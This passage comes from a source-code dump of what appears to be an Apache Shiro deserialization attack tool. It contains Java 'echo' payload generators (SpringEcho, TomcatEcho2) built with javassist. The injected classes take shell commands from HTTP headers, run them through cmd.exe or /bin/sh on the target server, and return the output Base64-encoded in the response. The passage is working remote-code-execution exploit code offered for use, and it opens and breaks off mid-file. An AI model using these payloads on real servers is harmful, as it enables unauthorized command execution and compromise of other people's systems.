}\n p.destroy();\n s.close();\n } catch (Throwable e) {\n e.printStackTrace();\n }\n }", clazz));
29 | return clazz;
30 | }
31 | }
32 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/deser/echo/SpringEcho.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.deser.echo;
2 |
3 | import javassist.CannotCompileException;
4 | import javassist.ClassPool;
5 | import javassist.CtClass;
6 | import javassist.CtNewConstructor;
7 | import javassist.NotFoundException;
8 |
9 |
10 |
11 | public class SpringEcho implements EchoPayload {
12 | @Override
13 | public CtClass genPayload(ClassPool pool) throws NotFoundException, CannotCompileException {
14 | CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
15 |
16 | if ((clazz.getDeclaredConstructors()).length != 0) {
17 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
18 | }
19 | clazz.addConstructor(CtNewConstructor.make("public SpringEcho() throws Exception {\n" +
20 | " try {\n" +
21 | " org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
22 | " javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
23 | " javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
24 | "\n" +
25 | " String te = httprequest.getHeader(\"Host\");\n" +
26 | " httpresponse.addHeader(\"Host\", te);\n" +
27 | " String tc = httprequest.getHeader(\"Authorization\");\n" +
28 | " if (tc != null && !tc.isEmpty()) {\n" +
29 | " String p = org.apache.shiro.codec.Base64.decodeToString(tc.replaceAll(\"Basic \", \"\"));\n" +
30 | " String[] cmd = System.getProperty(\"os.name\").toLowerCase().contains(\"windows\") ? new String[]{\"cmd.exe\", \"/c\", p} : new String[]{\"/bin/sh\", \"-c\", p};\n" +
31 | " byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
32 | " String base64Str = \"\";\n" +
33 | " base64Str = org.apache.shiro.codec.Base64.encodeToString(result);\n" +
34 | " httpresponse.getWriter().write(\"$$$\" + base64Str + \"$$$\");\n" +
35 | "\n" +
36 | " }\n" +
37 | " httpresponse.getWriter().flush();\n" +
38 | " httpresponse.getWriter().close();\n" +
39 | " } catch (Exception e) {\n" +
40 | " e.getStackTrace();\n" +
41 | " }\n" +
42 | " }", clazz));
43 | return clazz;
44 | }
45 | }
46 |
47 |
48 |
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/deser/echo/TomcatEcho2.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.deser.echo;
2 |
3 | import javassist.*;
4 | import java.io.*;
5 |
6 |
7 | public class TomcatEcho2 implements EchoPayload {
8 | @Override
9 | public CtClass genPayload(final ClassPool pool) throws CannotCompileException, NotFoundException, IOException {
10 | final CtClass clazz = pool.makeClass("com.summersec.x.Test" + System.nanoTime());
11 | if (clazz.getDeclaredConstructors().length != 0) {
12 | clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
13 | }
14 | clazz.addMethod(CtMethod.make(" private static void writeBody(Object var0, byte[] var1) throws Exception {\n byte[] bs = (\"$$$\" + org.apache.shiro.codec.Base64.encodeToString(var1) + \"$$$\").getBytes();\n Object var2;\n Class var3;\n try {\n var3 = Class.forName(\"org.apache.tomcat.util.buf.ByteChunk\");\n var2 = var3.newInstance();\n var3.getDeclaredMethod(\"setBytes\", new Class[]{byte[].class, int.class, int.class}).invoke(var2, new Object[]{bs, new Integer(0), new Integer(bs.length)});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (ClassNotFoundException var5) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n } catch (NoSuchMethodException var6) {\n var3 = Class.forName(\"java.nio.ByteBuffer\");\n var2 = var3.getDeclaredMethod(\"wrap\", new Class[]{byte[].class}).invoke(var3, new Object[]{bs});\n var0.getClass().getMethod(\"doWrite\", new Class[]{var3}).invoke(var0, new Object[]{var2});\n }\n\n}", clazz));
15 | clazz.addMethod(CtMethod.make(" private static Object getFV(Object var0, String var1) throws Exception {\n java.lang.reflect.Field var2 = null;\n Class var3 = var0.getClass();\n\n while(var3 != Object.class) {\n try {\n var2 = var3.getDeclaredField(var1);\n break;\n } catch (NoSuchFieldException var5) {\n var3 = var3.getSuperclass();\n }\n }\n\n if (var2 == null) {\n throw new NoSuchFieldException(var1);\n } else {\n var2.setAccessible(true);\n return var2.get(var0);\n }\n }", clazz));
16 | clazz.addConstructor(CtNewConstructor.make(" public TomcatEcho() throws Exception {\n boolean var4 = false;\n Thread[] var5 = (Thread[]) getFV(Thread.currentThread().getThreadGroup(), \"threads\");\n\n for (int var6 = 0; var6 < var5.length; ++var6) {\n Thread var7 = var5[var6];\n if (var7 != null) {\n String var3 = var7.getName();\n if (!var3.contains(\"exec\") && var3.contains(\"http\")) {\n Object var1 = getFV(var7, \"target\");\n if (var1 instanceof Runnable) {\n try {\n var1 = getFV(getFV(getFV(var1, \"this$0\"), \"handler\"), \"global\");\n } catch (Exception var13) {\n continue;\n }\n\n java.util.List var9 = (java.util.List) getFV(var1, \"processors\");\n\n for(int var10 = 0; var10 < var9.size(); ++var10) {\n Object var11 = var9.get(var10);\n var1 = getFV(var11, \"req\");\n Object var2 = var1.getClass().getMethod(\"getResponse\",new Class[0]).invoke(var1, new Object[0]);\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"Ctmd\")});\n if (var3 != null && !var3.isEmpty()) {\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n var2.getClass().getMethod(\"addHeader\", new Class[]{String.class, String.class}).invoke(var2, new Object[]{new String(\"techo\"), var3});\n var4 = true;\n }\n\n var3 = (String)var1.getClass().getMethod(\"getHeader\", new Class[]{String.class}).invoke(var1, new Object[]{new String(\"c\")});\n if (var3 != null && !var3.isEmpty()) {\n var3 = org.apache.shiro.codec.Base64.decodeToString(var3);\n var2.getClass().getMethod(\"setStatus\", new Class[]{Integer.TYPE}).invoke(var2, new Object[]{new Integer(200)});\n String[] var12 = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[]{\"cmd.exe\", \"/c\", var3} : new String[]{\"/bin/sh\", \"-c\", var3};\n writeBody(var2, (new java.util.Scanner((new ProcessBuilder(var12)).start().getInputStream())).useDelimiter(\"\\\\A\").next().getBytes());\n var4 = true;\n }\n\n if (var4) {\n break;\n }\n }\n\n if (var4) {\n break;\n }\n }\n }\n }\n }\n}", clazz));
17 | return clazz;
18 | }
19 | }
--------------------------------------------------------------------------------
/src/main/java/com/summersec/attack/deser/echo/dfs.java:
--------------------------------------------------------------------------------
1 | package com.summersec.attack.deser.echo;
2 |
3 | /**
4 | * @ClassName: dfs
5 | * @Description: TODO
6 | * @Author: Summer
7 | * @Date: 2021/12/9 13:45
8 | * @Version: v1.0.0
9 | * @Description:
10 | **/
11 | public class dfs {
12 |
13 | static java.util.HashSet